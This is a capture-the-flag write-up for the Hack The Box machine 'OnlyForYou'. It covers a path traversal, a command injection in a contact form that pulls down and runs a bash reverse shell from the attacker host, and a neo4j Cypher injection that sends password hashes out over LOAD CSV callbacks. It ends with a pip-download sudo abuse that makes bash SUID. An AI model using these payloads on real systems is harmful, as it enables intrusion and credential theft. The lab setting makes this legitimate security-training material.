OnlyForYou

Creator: 0xM4hm0ud

Machine URL: https://app.hackthebox.com/machines/OnlyForYou

Difficulty: Medium


Initial enumeration

As always, we start with a nmap scan.

# Nmap 7.93 scan initiated Sat Apr 22 21:03:43 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.62.194
Nmap scan report for 10.129.62.194
Host is up, received reset ttl 63 (0.034s latency).
Scanned at 2023-04-22 21:03:44 CEST for 22s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDX7r34pmJ6U9KrHg0/WDdrofcOXqTr13Iix+3D5ChuYwY2fmqIBlfuDo0Cz0xLnb/jaT3ODuDtmAih6unQluWw3RAf03l/tHxXfvXlWBE3I7uDu+roHQM7+hyShn+559JweJlofiYKHjaErMp33DI22BjviMrCGabALgWALCwjqaV7Dt6ogSllj+09trFFwr2xzzrqhQVMdUdljle99R41Hzle7QTl4maonlUAdd2Ok41ACIu/N2G/iE61snOmAzYXGE8X6/7eqynhkC4AaWgV8h0CwLeCCMj4giBgOo6EvyJCBgoMp/wH/90U477WiJQZrjO9vgrh2/cjLDDowpKJDrDIcDWdh0aE42JVAWuu7IDrv0oKBLGlyznE1eZsX2u1FH8EGYXkl58GrmFbyIT83HsXjF1+rapAUtG0Zi9JskF/DPy5+1HDWJShfwhLsfqMuuyEdotL4Vzw8ZWCIQ4TVXMUwFfVkvf410tIFYEUaVk5f9pVVfYvQsCULQb+/uc=
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAz/tMC3s/5jKIZRgBD078k7/6DY8NBXEE8ytGQd9DjIIvZdSpwyOzeLABxydMR79kDrMyX+vTP0VY5132jMo5w=
|   256 445f7aa377690a77789b04e09f11db80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqatISwZi/EOVbwqfFbhx22EEv6f+8YgmQFknTvg0wr
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 22 21:04:06 2023 -- 1 IP address (1 host up) scanned in 23.89 seconds

Two ports are open, and nginx redirects to only4you.htb. We add this hostname to /etc/hosts.

Exploring only4you.htb

At http://only4you.htb we are greeted by the website for Only4you.

only4you.htb

We take note of the people listed in the team section and the contact email just in case.

Other interesting things we found on the site are:

  • A link to http://beta.only4you.htb in the FAQ section:

    A link to beta.only4you.htb

    We add this hostname to /etc/hosts.

  • Weird behavior of the contact form:
    On submitting the contact form we get an error.

    You are not authorized!

This implies that the contact form is not just a static form that does nothing. There might be more to it than it seems.

Exploring beta.only4you.htb

http://beta.only4you.htb/

beta.only4you.htb

The Source button (http://beta.only4you.htb/source) allows us to download the source code for this web application.

There are also several image manipulation tools available to us – Resize and Convert (http://beta.only4you.htb/resize and http://beta.only4you.htb/convert).

Analyzing the source code

app.py

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
    try:
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

posixpath.normpath(image) will normalize the path making the checks for .. and ../ always succeed due to the filename variable always containing a full absolute path.

It appears that if we provide an absolute path to a file on the system, we should just get it, making it a Path Traversal vulnerability.

Path traversal in /download

To test it out we can grab the contents of /etc/passwd

POST /download HTTP/1.1
Host: beta.only4you.htb
Content-Length: 17
Content-Type: application/x-www-form-urlencoded

image=/etc/passwd

Path Traversal in /download

Let’s see what else we can find in the web applications’ source codes.

During the walk of http://only4you.htb, we noticed a strange behavior of the contact form.

We can find the source for this web app at /var/www/only4you.htb/app.py. This path can be easily guessed or grabbed from nginx configuration files at their standard locations.

/var/www/only4you.htb/app.py

from form import sendmessage
...
status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')
...

This is the behavior we’ve noticed during the initial enumeration.

Judging by the import statement there should be a form.py with sendmessage() in it.

/var/www/only4you.htb/form.py

...
def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
	else:
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
...

In the code snippet above there is a regex check for the email format of the string that we control via the email field in the contact form.

If this regex is passed the string is then split by @ to get the domain part of it. This domain is then passed directly to run() as a parameter to dig.

If we can bypass this regex check, we have the Command Injection.

Command Injection in Contact Form

And the regex is fairly easy to bypass: [email protected]`id` should satisfy the regex and pass fluff.me`id` to run(). We can put any payload in the backticks to obtain code execution on the machine.

Reverse shell

We will write a standard bash reverse shell payload to a file and host it on our attacking machine. In the Command Injection payload, we will curl it and pipe it to bash to execute.

┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.27/443 0>&1' > shell.sh
POST / HTTP/1.1
Host: only4you.htb
Content-Length: 108
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://only4you.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://only4you.htb/?email=hi%40fluff.me
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

name=fluff&email=hi%40fluff.me`curl http://10.10.14.27/shell.sh | bash`&subject=Test&message=Test

We catch a shell as www-data

www-data

After checking the listening ports we find something interesting:

www-data@only4you:/opt$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8001          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1020/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 127.0.0.1:7687          :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:7474          :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*

TCP ports 3000 and 8001 stand out and are listening on localhost.

  • Running curl http://127.0.0.1:3000 shows us a Gogs index page.

  • curl http://127.0.0.1:8001 shows us a login page.

Quickly checking /opt we can assume that both web applications are located there on disk:

www-data@only4you:~$ ls /opt
gogs  internal_app

We will use chisel to proxy the traffic and access the web applications.

┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou]
└─$ /opt/tools/chisel/chisel_amd64 server -p 9999 --reverse &
www-data@only4you:/tmp$ ./chisel client 10.10.14.27:9999 R:socks &
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou]
└─$ 2023/04/22 22:54:36 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening

Now we have a SOCKS5 proxy on 127.0.0.1:1080 and can explore the web apps.

Web Application on TCP 8001

http://127.0.0.1:8001 with socks5 proxy.

We are greeted by the login page. The secure password is very secure – admin:admin are the credentials.

Interesting findings:

  • In the Tasks section of the dashboard there is a valuable piece of info:

    Migrated to a new database(neo4j)

  • The Employees page (http://127.0.0.1:8001/employees) has a search bar.

Looking into search functionality

Search is not static and POSTs data to /search

Playing around with it we get the weird behavior: with POST data search='+OR+'1'='1 we get all results from the database.

This suggests that we are dealing with a SQL Injection, but given that admin migrated to neo4j it’s probably a <strong>Cypher Injection</strong>.

Cypher Injection (neo4j) – /search in Web application on TCP 8001

Note: Useful cheat sheet for cypher injections.

Testing out-of-band interaction to attacking machine

POST /search HTTP/1.1
Host: 127.0.0.1:8001
Content-Length: 61
Content-Type: application/x-www-form-urlencoded
Cookie: session=eadd7b53-e98d-478f-b5a7-c5f895709213; Expires=Sat, 22 Apr 2023 21:34:48 GMT; HttpOnly; Path=/
Connection: close

search='+LOAD+CSV+FROM+'http%3a//10.10.14.27'+AS+b+return+b//

OOB in Cypher Injection

We get a callback! This means we can extract data with OOB.

Get labels

POST /search HTTP/1.1
Host: 127.0.0.1:8001
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
Cookie: session=eadd7b53-e98d-478f-b5a7-c5f895709213; Expires=Sat, 22 Apr 2023 21:34:48 GMT; HttpOnly; Path=/
Connection: close

search='CALL+db.labels()+YIELD+label+LOAD+CSV+FROM+'http%3a//10.10.14.27/?'%2blabel+AS+b+RETURN+b//
10.129.62.194 - - [23/Apr/2023 00:59:27] "GET /?user HTTP/1.1" 200 -
10.129.62.194 - - [23/Apr/2023 00:59:27] "GET /?employee HTTP/1.1" 200 -

user and employee labels are present.

Get properties of the user label

...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/'%2bkeys(c)[0]+AS+b+RETURN+b//
"GET /password HTTP/1.1" 404 -
...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/'%2bkeys(c)[1]+AS+b+RETURN+b//
"GET /username HTTP/1.1" 404 -

Predictably, it’s user.username and user.password.

Get usernames and passwords

...
search='MATCH+(c%3auser)+LOAD+CSV+FROM+'http%3a//10.10.14.27/?'%2bc.username%2b':'%2bc.password+AS+b+RETURN+b//
10.129.62.194 - - [23/Apr/2023 01:02:15] "GET /?admin:8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918 HTTP/1.1" 200 -
10.129.62.194 - - [23/Apr/2023 01:02:15] "GET /?john:a85<REDACTED>6 HTTP/1.1" 200 -

We get a hash for user john. hashcat cracks it quickly:

/tmp/hash ❯ hashcat hash.txt /usr/share/dict/rockyou.txt -m1400 --user --show
john:a85<REDACTED>6:T<REDACTED>u

The password is reused both as an OS password and a Gogs password. We can ssh to the machine.

john

We cat user.txt to get the user flag and start enumeration.

sudo

john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

We are allowed to pip download any tar.gz file from the Gogs on TCP 3000 as root.

pip download works in a similar way to pip install – it will execute the code we provide if we craft the malicious archive package correctly.

Given that john reused credentials to Gogs too, this should be trivial.

Privesc – Abusing sudo of pip download from Gogs instance

First, we create a malicious package that will add a SUID bit to bash:

┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ cat sploit/setup.py         
import os; os.system('chmod +s /bin/bash')
┌──(fluff㉿kali)-[/opt/ctf/htb/onlyforyou/exploit]
└─$ tar -czf fluff.tar.gz sploit

Next, we Log in to Gogs (TCP 3000) and upload the tar.gz archive to http://127.0.0.1:3000/john/Test/src/master/.

Note: we must set the repository to “Public” in its settings – http://127.0.0.1:3000/john/Test/settings

Finally, we execute a sudo command:

john@only4you:~$ sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz
Collecting http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz
  Downloading http://127.0.0.1:3000/john/Test/raw/master/fluff.tar.gz (195 bytes)
ERROR: Files/directories not found in /tmp/pip-req-build-x7q6rhb8/pip-egg-info

It errors out, but when we check bash it will have the SUID bit set.

john@only4you:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
john@only4you:~$ bash -p
bash-5.0# cat /root/root.txt

We are root! Grab the flag in /root/root.txt.